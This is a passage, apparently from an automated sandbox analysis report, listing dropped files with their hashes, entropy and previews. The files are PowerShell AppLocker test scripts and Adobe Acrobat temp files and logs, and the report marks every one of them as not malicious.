SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfxhpert.jcm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjgdyvnt.1mp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wqk0mj54.njy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wsjta0dh.ncd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyh3lfqi.uup.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x3iq3ndc.lmj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xq4tz5r5.grc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yejmp1fs.3fe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yf0o4zqd.rg4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ynr2jv4t.d3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zgw0ixsm.eed.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zhiffkq2.gvh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zq5xdzsk.fvr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zstexuq3.i2b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91wuryg5_1macxqe_66c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9l67tgh_1macxqc_66c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-09-25 06-36-23-782.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344960109051982
Encrypted:	false
SSDEEP:	384:eV5chtt6NxK25+m7pKf8tncV9apq/zv4UEWU6Gkx4bcc2vncC72OaXaXyHhtILDH:qGD
MD5:	EA1F66016BA6564D7801E4AFFF79DB80
SHA1:	0518491D2A21F4663F365B083D699409AFD1A7BA
SHA-256:	EA5A4B201D9E50D2C33D477A2EE8FD82D17569D5F9C648C5662BA3DE8007D724
SHA-512:	576B195F0EBB7E32261F016B159B380D9D9EFF946FA3FCB41288417B35F402A998C6E9BF665B4B4AFF26953283EAB62466F1E9B29661D106EB5433329E013169
Malicious:	false
Preview:	SessionID=e25499ab-a373-408a-859c-8c98350acb98.1727260583801 Timestamp=2024-09-25T06:36:23:801-0400 ThreadID=7848 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e25499ab-a373-408a-859c-8c98350acb98.1727260583801 Timestamp=2024-09-25T06:36:23:828-0400 ThreadID=7848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e25499ab-a373-408a-859c-8c98350acb98.1727260583801 Timestamp=2024-09-25T06:36:23:828-0400 ThreadID=7848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e25499ab-a373-408a-859c-8c98350acb98.1727260583801 Timestamp=2024-09-25T06:36:23:828-0400 ThreadID=7848 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e25499ab-a373-408a-859c-8c98350acb98.1727260583801 Timestamp=2024-09-25T06:36:23:828-0400 ThreadID=7848 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.414686557268591
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmT:EGvIcNYdFJ1lo
MD5:	02783752A1ABDCBF98B60DF4B4DC5159
SHA1:	59FA9734B8760144E7A759944243CDC6C27AB76E
SHA-256:	A87D5A8A82BE79C54CAAF65AAF0636AFF4095921807693837620BC57276C27C7
SHA-512:	06A6655BE911562D4DAF74054B045016C7ABB328F6D73D452269D2548C144289BDEA7FAFAF79628D67A23FD78469932CEB7A218A72396C84932E210BDAAB1192
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3265f9c8-163c-476b-8f0b-06cfb3aed09e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3PGD+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	BC2B4B8EFC05ACC59FBE8E09760D53DC
SHA1:	621852ED2EE8264AAC1B25DBABDD6692C44429CE
SHA-256:	2375BBCC12DC3ECDFAEDA891AD37689377C73FEB8E52AB4520D93CF116D20646
SHA-512:	3870DCB73F44284F4F3008C4A96A59A482DB18900BD39029F34A7B8D27AF9BCD9B5E6F6F47E2834C81B9A7E3409280B5E8ECAFD080BB09B9841FF1003F6C22F7
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\38843709-4979-49cf-96ff-d7102243e935.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6503714d-8986-44a5-b034-5f48a42a5452.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ca961033-22cb-4e5b-b9f6-2ebf3458f0f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
